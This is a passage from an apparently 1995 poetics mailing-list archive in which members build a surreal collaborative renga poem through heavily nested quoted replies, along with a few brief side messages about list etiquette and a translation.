>> > > switchback and in the u-turns were bookmobiles rounding angles
>> > > considered shrill as pine left in the acres to be aging

>> > > flawlessly, flutes sing genderless in trio, surprisedby how quiet
>> > > effort really is or is not, fast enough to sleep
>> > > through thunderstorms, arm over thigh until light shakes
>> > > petals free of names that rain across known skin forgotten
>> > > alive in our hearse hurts, projective nurse if she is to go ahead
>> > > and dance, composing instead of straining muscles, far eyes
>> > > saunter lope pentecost beam operator will you cockpit
>> > > out, transplanted organs speak, the idiom
>> > > inseams, a snare as solvently unequal-- the power
>> > > uncreased although each snare still trembles quantum
>> > > which explains why the pump is busted and why
>> > > he preferred whole afternoons on the phone to that
>> > > crap about not having a cousin on the moon
>> > > capable of keeping the canoe right way up in the cool
>> > > prose of the upper Hudson, dinner's at seven so
>> > > start swimmin, bud: "lay me down in a wetsuit,
>> > > heats me up in the sleaze," it's like a huge dose
>> > > of familiarity. I am storing radiance for later use
>> > > I know the war-whoop in each dusty narrative
>> > > among the invoices and the difference engines
>> > > Char, Lee, Parr, Kerr, everybody is here and there
>> > > collecting the stamp hinges that come in on the breeze
>> > > delicate lace flies into pelican Bills in the house
>> > > of narration with partners of good moisture. Here,touch my
>> > > ebullience with a token gesture of sauce, of the red stuff.
>> > > I have a lot of duende in the freezer & we can defrost some
>> > > woods on a snowy evening, my horse is lovely dark and deep
>> > > as penitence, but let's elude the shakes and drear, get lost in
>> > > our palaver have tongue will travel not a binge of harmony which
>> > > in the end goes meerschaum on us till we blink ourselves to
>> > > creeping where the sublime is cows bathing in starlight. Give
>> > > temporality a rest, for widest space succombs to onslaughts of
>> > > hidden porchlight in the latitude that she has given his
>> > > longitude. Depth is directly stated. A signal slated to be read
>> > > ingratiates politicos and blond ones also shaven vortices but
>> > > does mangling exist or the circle is balboa plus expenses
>> > > cabinets away from lust and pedigree and shark fin soup
>> > > trailing stiffens buying tears for so many tendons
>> > > demitassed to mean full-bodied wine with alcohol removed
>> > > by trained leeches from under the rotting elastic, a feast
>> > > of swirling eddies with beaucoup of labia & confetti
>> in the black stone cavity behind the swamphouse where we keep

>> the papers with the blue seals and the green bottles gone rank
> i was chewing on the iguana and sister angelica on the cameo
cookie fortitude of night's flying sisters telling unmentionable

↑ Index

430. Charles Alexander
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

>>> >In the books were dreams and in the dreams were books.
>>> >And flewthrough windows, lightning green and fine morning
>>> >First inverted whistle of a cardinal in the poplar
>>> >The book and the oboe on the grass under sun and cloud
>>> >Go endlessly, an obtuse Prussian blue, it binds
>>> >The caravan of windows to what they flee
>>> >These lace curtains, more gauze than bondage, more
>>> >Mollycoddled than aware, thin-spined and pebbling
>>> >but narrow in the waist or waspish Sunday years ago
>>> >Over coffee topped with whipped lads, the Times blowing
>>> >& opining, heavy humid air, cum amusing against the
>>> >bleached ribcage ripcorded into compassed wind
>>> >kissing the weatherwoman between her beasts as she
>>> >gives gracious problem: fanatical snacks, landscape of
>>> >flicka son of thunderhead and the storm in the glass of water'
>>> >s halfway pertinent incision we keep making safe for ignorance
>>> >(inspection denied for not knowing how credenza was meant) &
>>> >neo-colonizing pockets in small furniture intended house
>>> >sequentially several mountains away but it wasn't, you know, a
>>> >big tango when the attorney general came, selah hales said,
>>> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>>> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>>> >texture so to speak was at the dry cleaners piping hot and
>>> >gloved-in somewhere unsalted, perched on prescience
>>> >the chair is sad, alas, and i've lusted tootles' liversthe odor
>>> >day toy a cello day dis chevys a bo coo daughter chose encore
>>> >Flaubert because we're waiting all throughout
>>> >eternity for moments to be of such suchness.
>>> >In the nooks were creams and in the stream were hooks
>>> >All melded like striated film leftover in the pastel seeds
>>> >of darkness falling like a counterirritant around the manchineel.
>>> >Likewise seams andpaper juxtaposed with seasoned instruments and
>>> >recently soft fruit of subject's object status, violent

>>> >transformation la Ste. Therese into beaming cumulus apokoinu
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>>> >among the invoices and the difference engines
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>>> >ebullience with a token gesture of sauce, of the red stuff.
>>> >I have a lot of duende in the freezer & we can defrost some
>>> >woods on a snowy evening, my horse is lovely dark and deep
>>> >as penitence, but let's elude the shakes and drear, get lost in
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>>> >cabinets away from lust and pedigree and shark fin soup
>>> >trailing stiffens buying tears for so many tendons
>>> demitassed to mean full-bodied wine with alcohol removed

>>spending the bulk of closure with sentient scoops
>threatening to have been arrested when the party wasn't looking
>and it's back to deuce. There's the lovely Mrs. Churchyard
in her garden pruning peas, where she will go next, who does she please

↑ Index

431. Charles Alexander

Re: this break will or will not not branch

Wed 13 Sep 1995

>EDITED FOR TELEVISION
>
>
>> >In the books were dreams and in the dreams were books.
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>> >demitassed to mean full-bodied wine with alcohol removed
>> >by trained leeches from under the rotting elastic, a feast
>> >of swirling eddies with beaucoup of labia & confetti
>> >starving time's scythe for water, matching colors to go
>> crecheward into sweet line drawings clothed to world our
>> anthological wrongings; i endured mereology for you & you alone
provided the weather warnings, strapped to my lips in vain

↑ Index

432. Charles Alexander

Re: this break will or will not not branch

Wed 13 Sep 1995

>>In the books were dreams and in the dreams were books.
>>And flew through windows, lightning green and fine morning
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>>of swirling eddies with beaucoup of labia & confetti
>>starving time's scythe for water, matching colors to go
>crecheward into sweet line drawings clothed to world our

>repapered with farinaceous pictures of the king
in her plummeting financial avocadoes, worrying the morning

↑ Index

433. **Charles Alexander**
Re: big local news
Wed 13 Sep 1995

>On Wed, 13 Sep 1995, Jordan Davis. wrote:
>
>> > > In the books were dreams and in the dreams were books.
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>> > > Mollycoddled than aware, thin-spined and pebbling
>> > > but narrow in the waist or waspish Sunday years ago
>> > > Over coffee topped with whipped lads, the Times blowing
>> > > & opining, heavy humid air, cum amusing against the
>> > > bleached ribcage ripcorded into compassed wind accident
>> > > kissing the weatherwoman between her beasts as she
>> > > gives gracious problem: fanatical snacks, landscape of
>> > > flicka son of thunderhead and the storm in the glass of water'
>> > > s halfway pertinent incision we keep making safe for ignorance
>> > > (inspection denied for not knowing how credenza was meant) &
>> > > neo-colonizing pockets in small furniture intended house
>> > > sequentially several mountains away but it wasn't, you know, a
>> > > big tango when the attorney general came, selah hales said,
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>> > > Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
>> > > texture so to speak was at the dry cleaners piping hot and
>> > > gloved-in somewhere unsalted, perched on prescience y pues nada
>> > > the chair is sad, alas, and i've lusted tootles' liversthe odor
>> > > day toy a cello day dis chevys a bo coo daughter chose encore
>> > > Flaubert because we're waiting all throughout
>> > > eternity for moments to be of such suchness,
>> > > to hold a rattle up, to eat our mommies.
>> > > In the nooks were creams and in the stream were hooks
>> > > All melded like striated film leftover in the pastel seeds
>> > > of darkness falling like a counterirritant around the manchineel.

>> > > Likewise seams andpaper juxtaposed with seasoned instruments and
>> > > recently soft fruit of subject's object status, violent
>> > > transformation la Ste. Therese into beaming cumulus apokoinu
>> > > switchback and in the u-turns were bookmobiles rounding angles
>> > > considered shrill as pine left in the acres to be aging
>> > > flawlessly, flutes sing genderless in trio, surprisedby how quiet
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>> > > through thunderstorms, arm over thigh until light shakes
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>> > > inseams, a snare as solvently unequal-- the power
>> > > uncreased although each snare still trembles quantum
>> > > which explains why the pump is busted and why
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>> > > capable of keeping the canoe right way up in the cool
>> > > prose of the upper Hudson, dinner's at seven so
>> > > start swimmin, bud: "lay me down in a wetsuit,
>> > > heats me up in the sleaze," it's like a huge dose
>> > > of familiarity. I am storing radiance for later use
>> > > I know the war-whoop in each dusty narrative
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>> > > Char, Lee, Parr, Kerr, everybody is here and there
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>> > > cabinets away from lust and pedigree and shark fin soup

>> > > trailing stiffens buying tears for so many tendons
>> > > demitassed to mean full-bodied wine with alcohol removed
>> > > by trained leeches from under the rotting elastic, a feast
>> > > conducted by William Carlos Williams & the Five Snorers--
>> The Mothers of Pathos and Pity opened for them, & it was
>> five o clock on a saturday, and the regular crowd shuffles in
> and the infirms of st james were dropping like flies
or stopping on dimes, fraying the edge of the concrete's willing

↑ Index

434. George Bowering

Re: Sheila & Jorge's Excellent Tryst

Wed 13 Sep 1995

Wystan Curnow = Curs Wont Yawn

↑ Index

435. Charles Alexander

Re: Sheila & Jorge's Excellent Adventure

Wed 13 Sep 1995

>>> >In the books were dreams and in the dreams were books.
>>> >And flew through windows, lightning green and fine morning
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>>> >The caravan of windows to what they flee
>>> >These lace curtains, more gauze than bondage, more
>>> >Mollycoddled than aware, thin-spined and pebbling
>>> >but narrow in the waist or waspish Sunday years ago
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>>> >& opining, heavy humid air, cum amusing against the
>>> >bleached ribcage ripcorded into compassed wind
>>> >kissing the weatherwoman between her beasts as she
>>> >gives gracious problem: fanatical snacks, landscape of
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>>> >s halfway pertinent incision we keep making safe for ignorance
>>> >(inspection denied for not knowing how credenza was meant) &
>>> >neo-colonizing pockets in small furniture intended house
>>> >sequentially several mountains away but it wasn't, you know, a
>>> >big tango when the attorney general came, selah hales said,
>>> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the

>>> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>>> >texture so to speak was at the dry cleaners piping hot and
>>> >gloved-in somewhere unsalted, perched on prescience
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>>> >Likewise seams andpaper juxtaposed with seasoned instruments and
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>>> >transformation la Ste. Therese into beaming cumulus apokoinu
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>>> >trailing stiffens buying tears for so many tendons
>>> demitassed to mean full-bodied wine with alcohol removed
>>spending the bulk of closure with sentient scoops
>that fluke picnic shot out of these worlds we spread been-to
>ach she's outside with the rummage, better get
than given to string theory's ravage of the bitter weeds

↑ Index

436. Charles Alexander

Re: Sheila & Jorge's Excellent Adventure

Wed 13 Sep 1995

> ack wrote
>> nod wrote:
>> > tof wrote
>> >>qom wrote:
>> >> >fla wrote
>> >> >fre wrote:
>> >> >gli wrote
>> >> >lum wrote:
>> >> >tra wrote:
>> >> >pim wrote:
>> >> >
>> >> >In the books were dreams and in the dreams were books.
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>> >> >as penitence, but let's elude the shakes and drear, get lost in
>> >> >our palaver have tongue will travel not a binge of harmony which
>> >> >in the end goes meerschaum on us till we blink ourselves to
>> >> >creeping where the sublime is cows bathing in starlight. Give
>> >> >temporality a rest, for widest space succombs to onslaughts of
>> >> >hidden porchlight in the latitude that she has given his
>> >> >longitude. Depth is directly stated. A signal slated to be read
>> >> >ingratiates politicos and blond ones also shaven vortices but
>> >> >does mangling exist or the circle is balboa plus expenses
>> >> >cabinets away from lust and pedigree and shark fin soup
>> >> >trailing stiffens buying tears for so many tendons
>> >> demitassed to mean full-bodied wine with alcohol removed
>> >spending the bulk of closure with sentient scoops
>> threatening to have been arrested when the party wasn't looking
>> wanting to hitch a ride back to Los Genitales (in the boondocks)
(in the straight and harrow) (furrow my trousers) (content to lasso)

↑ Index

437. Charles Alexander

Re: fugazi redshifter approaching colossus

Wed 13 Sep 1995

>> > >In the books were dreams and in the dreams were books.
>> > >And flew through windows, lightning green and fine morning
>> > >First detrevni whistle of a cardinal in the poplar
>> > >The book and the old boy on the grass under sun and cloud
>> > >Go endless, an obtuse cellar blue, it binds
>> > >The caravan of endowments to what they flee
>> > >These space curtains, more gauze than bondage, more
>> > >Boloed than aware, spin-art and pebbling

>> > >but narrow in the face or foppish Sunday Hilda oh!
>> > >Over coffee chopped with kissed lads, the Times blowing
>> > >& opining, heavy humid air, we musing against the
>> > >bleached ribcage ripcorded into compassed wind
>> > >missing the violinist between her rests as she
>> > >indexes fracas problem: tool shacks, landscape of
>> > >Zorro son of thunderhead and the storm in the steel glass
>> > >s halfway pertinent incision we keep making
>> > >(I denied not knowing how cadenza was meant) &
>> > >Neapolitan pockets in small furniture intended house
>> > >chance several mountains away but it wasn't, you know, a
>> > >big tango when the attorney general came, said amen,
>> > >"Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the
>> > >Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit
>> > >texture so to speak was at the cleaners hot and
>> > >stubble somewhere unnoticed, chirping presence
>> > >the chair is sad, alas, and i've lusted tootles' livers the
>> > >detour a cello a day dishevels a boat cold otter chose in the core
>> > >slaughter because we're waiting all throughout
>> > >eternity for solos to be of such suchness.
>> > >In the nooks were creams and in the stream were hooks
>> > >All models like films about their friends in pastel
>> > >of darkness falling like an afghan around the manatee.
>> > >Likewise seems sandpaper huckster with seesaw inchworms and
>> > >recently soft brute of subject's object status, violent
>> > >transformation la Ste. Therese into beaming cumulus hapax
>> > >switchback and in the u-turns were bookmobiles rounding angels
>> > >considered shrill as I'm left in the acres to be aging
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>> > >effort really is or is not, fast enough to sleep
>> > >through thunderstorms, arm over thigh until light shakes
>> > >petals free of names that rain across known skin forgotten
>> > >alive in our hearse hurts, projective nurse if she is to go ahead
>> > >And, with a shout, collecting coat hangers
>> > >saunter lope pentecost Timon of Athens operator will you cockpit
>> > >out, transplanted organs speak, "arf!" the idiom
>> > >inseams, a snare as solvently unequal-- the power
>> > >uncreased although each snare still trembles QuarkXpress
>> > >which explains why the sump is busted and why
>> > >he preferred Hole to afternoons on the phone with that
>> > >carp, a cousin on the moon, remember the needy
>> > >capable of keeping the canoe right way up in the cool

>> > >prose of the upper Hudson, dinner's at seven so
>> > >start swimmin, bud: "lay me down in a wetsuit,
>> > >heats me up the porridge," it's like a huge typo
>> > >of familiarity. I am storing valence for later use
>> > >I know the war-whoop in each dusty arrogance
>> > >among the choruses and the different people
>> > >Char, Lee, Parr, Kerr, everybody is Hokey Pokey
>> > >collecting the very boring nouns that come in on the breeze
>> > >delicate lace flies tied by Pelican Bill, yo, in the house,
>> > >of narration with part of good moisture. Here, bile, sopor,
>> > >ebullience is a token gesture of the sauced, Red Stuff.
>> > >I have a lot of duodenum. In the freezer we can defend some
>> > >woods on a snowy evening, my yellow rose is lovely dark and deep
>> > >as penitence, but let's elude the shakes and drear, get lost in
>> > >our palaver. Have? Will not a binge of harmony which
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>> > >bearings where the heiress is cows bathing in starlight. Give
>> > >the poor temp a rest, for widest space succombs to onslaughts of
>> > >hidden porchlight in the platitude that she has given his
>> > >longitude. Depth is directly stated. A signal slated to be canonized
>> > >elevates politicos and blond ones also raving vortices but
>> > >does hang-gliding exist or is the circle a bulb of "plus" expenses
>> > >cabins away from "Flash and Filligree" and "Goat's Head Soup"
>> > >travel stiffly by the tears for so many tendons
>> > documentary to mean full body winter with alcohol removed
>> sending the bulk of closure with sentient loops
>> but my nerves are excellent tonight: I fired Mr. Churchyard
>in the coin-op kiln on Sullen Street with my Saint Chris
and Aunt Liz and the Fly-bys tracing circles on marimbas

↑ Index

438. **Charles Alexander**

Re: big local news

Wed 13 Sep 1995

>> > In the books were dreams and in the dreams were books.
>> > And flew through windows, lightning green and fine morning
>> > First inverted whistle of a cardinal in the poplar
>> > The book and the oboe on the grass under sun and cloud
>> > Go endlessly, an obtuse Prussian blue, it binds
>> > The caravan of windows to what they flee
>> > These lace curtains, more gauze than bondage, more

>> > Mollycoddled than aware, thin-spined and pebbling
>> > but narrow in the waist or waspish Sunday years ago
>> > Over coffee topped with whipped lads, the Times blowing
>> > & opining, heavy humid air, cum amusing against the
>> > bleached ribcage ripcorded into compassed wind accident
>> > kissing the weatherwoman between her beasts as she
>> > gives gracious problem: fanatical snacks, landscape of
>> > flicka son of thunderhead and the storm in the glass of water'
>> > s halfway pertinent incision we keep making safe for ignorance
>> > (inspection denied for not knowing how credenza was meant) &
>> > neo-colonizing pockets in small furniture intended house
>> > sequentially several mountains away but it wasn't, you know, a
>> > big tango when the attorney general came, selah hales said,
>> > "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>> > Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the
>> > texture so to speak was at the dry cleaners piping hot and
>> > gloved-in somewhere unsalted, perched on prescience y pues nada
>> > the chair is sad, alas, and i've lusted tootles' liversthe odor
>> > day toy a cello day dis chevys a bo coo daughter chose encore
>> > Flaubert because we're waiting all throughout
>> > eternity for moments to be of such suchness,
>> > to hold a rattle up, to eat our mommies.
>> > In the nooks were creams and in the stream were hooks
>> > All melded like striated film leftover in the pastel seeds
>> > of darkness falling like a counterirritant around the manchineel.
>> > Likewise seams andpaper juxtaposed with seasoned instruments and
>> > recently soft fruit of subject's object status, violent
>> > transformation la Ste. Therese into beaming cumulus apokoinu
>> > switchback and in the u-turns were bookmobiles rounding angles
>> > considered shrill as pine left in the acres to be aging
>> > flawlessly, flutes sing genderless in trio, surprisedby how quiet
>> > effort really is or is not, fast enough to sleep
>> > through thunderstorms, arm over thigh until light shakes
>> > petals free of names that rain across known skin forgotten
>> > alive in our hearse hurts, projective nurse if she is to go ahead
>> > and dance, composing instead of straining muscles, far eyes
>> > saunter lope pentecost beam operator will you cockpit
>> > out, transplanted organs speak, the idiom
>> > inseams, a snare as solvently unequal-- the power
>> > uncreased although each snare still trembles quantum
>> > which explains why the pump is busted and why
>> > he preferred whole afternoons on the phone to that

>> > crap about not having a cousin on the moon
>> > capable of keeping the canoe right way up in the cool
>> > prose of the upper Hudson, dinner's at seven so
>> > start swimmin, bud: "lay me down in a wetsuit,
>> > heats me up in the sleaze," it's like a huge dose
>> > of familiarity. I am storing radiance for later use
>> > I know the war-whoop in each dusty narrative
>> > among the invoices and the difference engines
>> > Char, Lee, Parr, Kerr, everybody is here and there
>> > collecting the stamp hinges that come in on the breeze
>> > delicate lace flies into pelican Bills in the house
>> > of narration with partners of good moisture. Here,touch my
>> > ebullience with a token gesture of sauce, of the red stuff.
>> > I have a lot of duende in the freezer & we can defrost some
>> > woods on a snowy evening, my horse is lovely dark and deep
>> > as penitence, but let's elude the shakes and drear, get lost in
>> > our palaver have tongue will travel not a binge of harmony which
>> > in the end goes meerschaum on us till we blink ourselves to
>> > creeping where the sublime is cows bathing in starlight. Give
>> > temporality a rest, for widest space succombs to onslaughts of
>> > hidden porchlight in the latitude that she has given his
>> > longitude. Depth is directly stated. A signal slated to be read
>> > ingratiates politicos and blond ones also shaven vortices but
>> > does mangling exist or the circle is balboa plus expenses
>> > cabinets away from lust and pedigree and shark fin soup
>> > trailing stiffens buying tears for so many tendons
>> > demitassed to mean full-bodied wine with alcohol removed
>> > by trained leeches from under the rotting elastic, a feast
>> > conducted by William Carlos Williams & the Five Snorers--
> The Mothers of Pathos and Pity opened for them, & it was
>five o clock on a saturday, and the regular crowd shuffles in
for waffles and stones, alfalfa fields away where we remember

↑ Index

439. Jeffrey Timmons

Re: Dear Listserv,

Wed 13 Sep 1995

On Wed, 13 Sep 1995, David Ayre wrote:

> *Dear Listserv,*
>
> *SET POETICS LIST "NOT BORING" FOR JEFFREY TIMMONS*

> *Yours,*
>
> *AVID DEARY*

Whew!

Jeffrey Timmons

↑ Index

440. klobucar
Re: SPECIAL AGENCY
Thu 14 Sep 1995

********** *
* * * * DAVID AYRE
1970-1992 * * * *
* * THE WORLD WAS YOUR OYSTER * *
* * *
****

↑ Index

441. Sheila E. Murphy
Re: Sheila & Jorge's Excellent Adventure
Thu 14 Sep 1995

Jorge wrote:
> Sheila wrote
>> Jorge wrote:
>> > Sheila wrote
>> >> Jorge wrote:
>> >> >Sheila wrote
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>> >> >In the books were dreams and in the dreams were books.And flew
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>> >> >First inverted whistle of a cardinal in the poplar
>> >> >The book and the oboe on the grass under sun and cloud
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>> >> >These lace curtains, more gauze than bondage, more

>> >> >Mollycoddled than aware, thin-spined and pebbling
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>> >> >Over coffee topped with whipped lads, the Times blowing
>> >> >& opining, heavy humid air, cum amusing against the
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>> threatening to have been arrested when the party wasn't looking
>> wanting to hitch a ride back to Los Genitales (in the boondocks)
via dendrites to the fourteenth power gleaned from the recent mitten
convention

↑ Index

442. Sheila E. Murphy

Re: fugazi redshifter approaching colossus

Thu 14 Sep 1995

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>> > >slaughter because we're waiting all throughout
>> > >eternity for solos to be of such suchness.
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>> > >All models like films about their friends in pastel
>> > >of darkness falling like an afghan around the manatee.
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>> > >petals free of names that rain across known skin forgotten
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>> > >And, with a shout, collecting coat hangers
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>> > >uncreased although each snare still trembles QuarkXpress
>> > >which explains why the sump is busted and why

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>> > >Char, Lee, Parr, Kerr, everybody is Hokey Pokey
>> > >collecting the very boring nouns that come in on the breeze
>> > >delicate lace flies tied by Pelican Bill, yo, in the house,
>> > >of narration with part of good moisture. Here, bile, sopor,
>> > >ebullience is a token gesture of the sauced, Red Stuff.
>> > >I have a lot of duodenum. In the freezer we can defend some
>> > >woods on a snowy evening, my yellow rose is lovely dark and deep
>> > >as penitence, but let's elude the shakes and drear, get lost in
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>> > >in the end go "meerschaum" on us till we Tempest ourselves to
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>> > >the poor temp a rest, for widest space succombs to onslaughts of
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>> > >cabins away from "Flash and Filligree" and "Goat's Head Soup"
>> > >travel stiffly by the tears for so many tendons
>> > documentary to mean full body winter with alcohol removed
>> sending the bulk of closure with sentient loops
>> but my nerves are excellent tonight: I fired Mr. Churchyard
>in the coin-op kiln on Sullen Street with my Saint Chris
medal and a polo shirt and muck to rake and neighbors as non-carnivores

↑ Index

443. Sheila E. Murphy

Re: Sheila, Chris & Jorge's Excellent Adventure

Thu 14 Sep 1995

Jorge wrote:
> Chris wrote
>> > Sheila wrote
>> >> Jorge wrote:

>> >> >Sheila wrote
>> >> >Jorge wrote:
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> (...)
>
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>> >> >trailing stiffens buying tears for so many tendons
>> >> demitassed to mean full-bodied wine with alcohol removed
>> >spending the bulk of closure with sentient scoops
>> that fluke picnic shot out of these worlds we spread been-to
> say that the center cannot hold the nose tackle much longer
than a clam can sleeve out of incarceration baldly

↑ Index

444. Sheila E. Murphy

Re: this break will or will not not branch

Thu 14 Sep 1995

>EDITED FOR TELEVISION
>
>
>> >In the books were dreams and in the dreams were books.
>> >And flew through windows lightning green and fine morning
>> >First inverted whistle of a cardinal in the poplar
>> >The book and the oboe on the grass under sun and cloud
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>> >cabinets away from lust and pedigree and shark fin soup
>> >trailing stiffens buying tears for so many tendons
>> >demitassed to mean full-bodied wine with alcohol removed
>> >by trained leeches from under the rotting elastic, a feast
>> >of swirling eddies with beaucoup of labia & confetti
>> >starving time's scythe for water, matching colors to go
>> crecheward into sweet line drawings clothed to world our
>> anthological wrongings; i endured mereology for you & you alone
because the blanched things can endure only this much crush

↑ Index

445. Louis Cabri

spike it with saussure - begins the intramix...

Thu 14 Sep 1995

In the books were dreams and in the dreams were books. And flew
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Char, Lee, Parr, Kerr, everybody is Hokey Pokey
collecting the very boring nouns that come in on the breeze
delicate lace flies tied by Pelican Bill, yo, in the house,
of narration with part of good moisture. Here, bile, sopor,
ebullience is a token gesture of the sauced, Red Stuff.
I have a lot of duodenum. In the freezer we can defend some
woods on a snowy evening, my yellow rose is lovely dark and deep

as penitence, but let's elude the shakes and drear, get lost in
our palaver. Have? Will not a binge of harmony which
in the end go "meerschaum" on us till we Tempest ourselves to
bearings where the heiress is cows bathing in starlight. Give
the poor temp a rest, for widest space succombs to onslaughts of
hidden porchlight in the platitude that she has given his
longitude. Depth is directly stated. A signal slated to be
canonized
elevates politicos and blond ones also raving vortices but
does hang-gliding exist or is the circle a bulb of "plus"
expenses
cabins away from "Flash and Filligree" and "Goat's Head Soup"
travel stiffly by the tears for so many tendons
documentary to mean full body winter with alcohol removed
sending the bulk of closure with sentient loops
but my nerves are excellent tonight: Check Sire
in the coin-op kiln on Sullen Street with my Saint Chris

↑ Index

446. **John Cayley**

RENGA SUGGESTION (PLEA! FREE US UP!)

Thu 14 Sep 1995

---

1) Quote only the last two or three previous lines of the Renga to which you are adding.

-- with a little *local* editing you would be able to keep complete copies on your own machines, and this will leave the list a *lot* less cluttered for the rest. [Remember, some of us pay for access to the net.]

2) ? Strict(er) use of subject lines to identify branchings.

- - - - - -

John Cayley Wellsweep Press [in Chinese HZ:]
^ fine, innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
1995 URLs: http://www.inforamp.net/~cayley [= home]
+ /wshome.html [= Wellsweep]
+ /inhome.html [= Indra's Net]

- - - - - -

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447. **Jorge Guitart**
Re: Sheila & Jorge's Excellent Adventure
Thu 14 Sep 1995

On Wed, 13 Sep 1995, Jordan Davis. wrote:

> >> >In the books were dreams and in the dreams were books.And flew
> >> >through windows '95, lightning green and fine morning
> >> >First inverted whistle of a cardinal in the poplar
> >> >The book and the oboe on the grass under sun and cloud
> >> >Go endlessly, an obtuse Prussian blue, it binds
> >> >The caravan of windows to what they flee
> >> >These lace curtains, more gauze than bondage, more
> >> >Mollycoddled than aware, thin-spined and pebbling
> >> >but narrow in the waist or waspish Sunday years ago
> >> >Over coffee topped with whipped lads, the Times blowing
> >> >& opining, heavy humid air, cum amusing against the
> >> >bleached ribcage ripcorded into compassed wind
> >> >kissing the weatherwoman between her beasts as she
> >> >gives gracious problem: fanatical snacks, landscape of
> >> >flicka son of thunderhead and the storm in the glass of water'
> >> >s halfway pertinent incision we keep making safe for ignorance
> >> >(inspection denied for not knowing how credenza was meant) &
> >> >neo-colonizing pockets in small furniture intended house
> >> >sequentially several mountains away but it wasn't, you know, a
> >> >big tango when the attorney general came, selah hales said,
> >> >"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> >> >Roof" Tobacco warehouse, curls no ideas but the woven fabric the
> >> >texture so to speak was at the dry cleaners piping hot and
> >> >gloved-in somewhere unsalted, perched on prescience
> >> >the chair is sad, alas, and i've lusted tootles' liversthe odor
> >> >day toy a cello day dis chevys a bo coo daughter chose encore
> >> >Flaubert because we're waiting all throughout
> >> >eternity for moments to be of such suchness.
> >> >In the nooks were creams and in the stream were hooks
> >> >All melded like striated film leftover in the pastel seeds
> >> >of darkness falling like a counterirritant around the manchineel.
> >> >Likewise seams andpaper juxtaposed with seasoned instruments and
> >> >recently soft fruit of subject's object status, violent
> >> >transformation la Ste. Therese into beaming cumulus apokoinu
> >> >switchback and in the u-turns were bookmobiles rounding angles
> >> >considered shrill as pine left in the acres to be aging
> >> >flawlessly, flutes sing genderless in trio, surprisedby how quiet

> >> >effort really is or is not, fast enough to sleep
> >> >through thunderstorms, arm over thigh until light shakes
> >> >petals free of names that rain across known skin forgotten
> >> >alive in our hearse hurts, projective nurse if she is to go ahead
> >> >and dance, composing instead of straining muscles, far eyes
> >> >saunter lope pentecost beam operator will you cockpit
> >> >out, transplanted organs speak, the idiom
> >> >inseams, a snare as solvently unequal-- the power
> >> >uncreased although each snare still trembles quantum
> >> >which explains why the pump is busted and why
> >> >he preferred whole afternoons on the phone to that
> >> >crap about not having a cousin on the moon
> >> >capable of keeping the canoe right way up in the cool
> >> >prose of the upper Hudson, dinner's at seven so
> >> >start swimmin, bud: "lay me down in a wetsuit,
> >> >heats me up in the sleaze," it's like a huge dose
> >> >of familiarity. I am storing radiance for later use
> >> >I know the war-whoop in each dusty narrative
> >> >among the invoices and the difference engines
> >> >Char, Lee, Parr, Kerr, everybody is here and there
> >> >collecting the stamp hinges that come in on the breeze
> >> >delicate lace flies into pelican Bills in the house
> >> >of narration with partners of good moisture. Here,touch my
> >> >ebullience with a token gesture of sauce, of the red stuff.
> >> >I have a lot of duende in the freezer & we can defrost some
> >> >woods on a snowy evening, my horse is lovely dark and deep
> >> >as penitence, but let's elude the shakes and drear, get lost in
> >> >our palaver have tongue will travel not a binge of harmony which
> >> >in the end goes meerschaum on us till we blink ourselves to
> >> >creeping where the sublime is cows bathing in starlight. Give
> >> >temporality a rest, for widest space succombs to onslaughts of
> >> >hidden porchlight in the latitude that she has given his
> >> >longitude. Depth is directly stated. A signal slated to be read
> >> >ingratiates politicos and blond ones also shaven vortices but
> >> >does mangling exist or the circle is balboa plus expenses
> >> >cabinets away from lust and pedigree and shark fin soup
> >> >trailing stiffens buying tears for so many tendons
> >> demitassed to mean full-bodied wine with alcohol removed
> >spending the bulk of closure with sentient scoops
> that fluke picnic shot out of these worlds we spread been-to
> ach she's outside with the rummage, better get
  to the nudes before they start using the subjunctif

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448. **Judy Roitman**
Re: Entry Phrasing
Thu 14 Sep 1995

>Is Stan's translation being published by HACKETT in Cambridge, Mass. by any
>chance?
>Just curious.
>[redacted]
>
>
>
Yes.

Judy Roitman, Math, University of Kansas, Lawrence, KS 66045, [redacted]

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449. **Sheila E. Murphy**
Re: this break will or will not not branch
Thu 14 Sep 1995

>>>In the books were dreams and in the dreams were books.
>>>And flew through windows, lightning green and fine morning
>>>First inverted whistle of a cardinal in the poplar
>>>The book and the oboe on the grass under sun and cloud
>>>Go endlessly, an obtuse Prussian blue, it binds
>>>The caravan of windows to what they flee
>>>These lace curtains, more gauze than bondage, more
>>>Mollycoddled than aware, thin-spined and pebbling
>>>but narrow in the waist or waspish Sunday years ago
>>>Over coffee topped with whipped lads, the Times blowing
>>>& opining, heavy humid air, cum amusing against the
>>>bleached ribcage ripcorded into compassed wind
>>>kissing the weatherwoman between her beasts as she
>>>gives gracious problem: fanatical snacks, landscape of
>>>flicka son of thunderhead and the storm in the glass of water's
>>>halfway pertinent incision we keep making safe for ignorance
>>>(inspection denied for not knowing how credenza was meant) &

>>>neo-colonizing pockets in small furniture intended house
>>>sequentially several mountains away but it wasn't, you know, a
>>>big tango when the attorney general came, selah hales said,
>>>"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
>>>Roof" Tobacco warehouse, curls no ideas but the woven fabric the
>>>texture so to speak was at the dry cleaners piping hot and
>>>gloved-in somewhere unsalted, perched on prescience
>>>the chair is sad, alas, and i've lusted tootles' liversthe odor
>>>day toy a cello day dis chevys a bo coo daughter chose encore
>>>Flaubert because we're waiting all throughout
>>>eternity for moments to be of such suchness.
>>>In the nooks were creams and in the stream were hooks
>>>All melded like striated film leftover in the pastel seeds
>>>of darkness falling like a counterirritant around the manchineel.
>>>Likewise seams andpaper juxtaposed with seasoned instruments and
>>>recently soft fruit of subject's object status, violent
